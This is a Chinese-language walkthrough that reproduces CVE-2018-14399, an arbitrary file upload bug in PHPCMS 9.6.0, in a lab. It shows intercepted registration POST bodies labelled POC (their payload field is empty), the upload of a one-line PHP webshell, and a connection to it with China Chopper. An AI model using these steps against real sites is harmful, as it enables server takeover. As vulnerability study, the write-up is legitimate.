phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399)

phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399)

一、漏洞描述

PHPCMS 9.6.0版本中的libs/classes/attachment.class.php文件存在漏洞,该漏洞源于PHPCMS程序在下载远程/本地文件时没有对文件的类型做正确的校验。远程攻击者可以利用该漏洞上传并执行任意的PHP代码。

二、漏洞影响版本

PHPCMS 9.6.0

三、漏洞环境搭建

1、 官方下载phpcms v9.6.0版本,下载地址: http://download.phpcms.cn/v9/9.6/

2、 解压下载的文件,然后把文件放到phpstudy的网站根目录下,浏览器访问192.168.10.171/phpcms/install/install.php,开始安装

  phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399)_第1张图片

3、一直点击下一步,在”选择模块”这个环节,选择”全新安装PHPCMS V9”

  phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399)_第2张图片

4、然后一直下一步,在”账号设置”这一块填写数据库账号和密码以及设置管理员密码

  phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399)_第3张图片

5、然后一直下一步,直到出现如下界面,说面成功安装

  phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399)_第4张图片

6、登录后台,生成首页

  phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399)_第5张图片

四、漏洞复现

1、浏览器访问前台,注册一个会员

  phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399)_第6张图片

2、点击注册页面,抓包

  phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399)_第7张图片

3、在另一个系统(kali),开启web服务,然后在web根目录下创建一个txt文件,写入如下信息

  

4、构造POC

siteid=1&modelid=11&username=test2&password=test2123&email=test2@163.com&info[content]=&dosubmit=1&protocol=

5、修改抓包内容,添加POC

  phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399)_第8张图片

6、可以看到返回包的内容包含了上传文件的路径

  phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399)_第9张图片

7、浏览器访问

  phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399)_第10张图片

8、构造POC,上传一句话

POC内容:

siteid=1&modelid=11&username=testa&password=testa123&email=testa@163.com&info[content]=&dosubmit=1&protocol=

9、修改数据包,添加POC,需要注意: 在repeater里测试go时每一次都要修改username,password和email字段值,保证不能重复。

  phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399)_第11张图片

10、可以看到返回包的内容包含了上传文件的路径

  phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399)_第12张图片

11、菜刀连接

  phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399)_第13张图片

 

你可能感兴趣的:(phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399))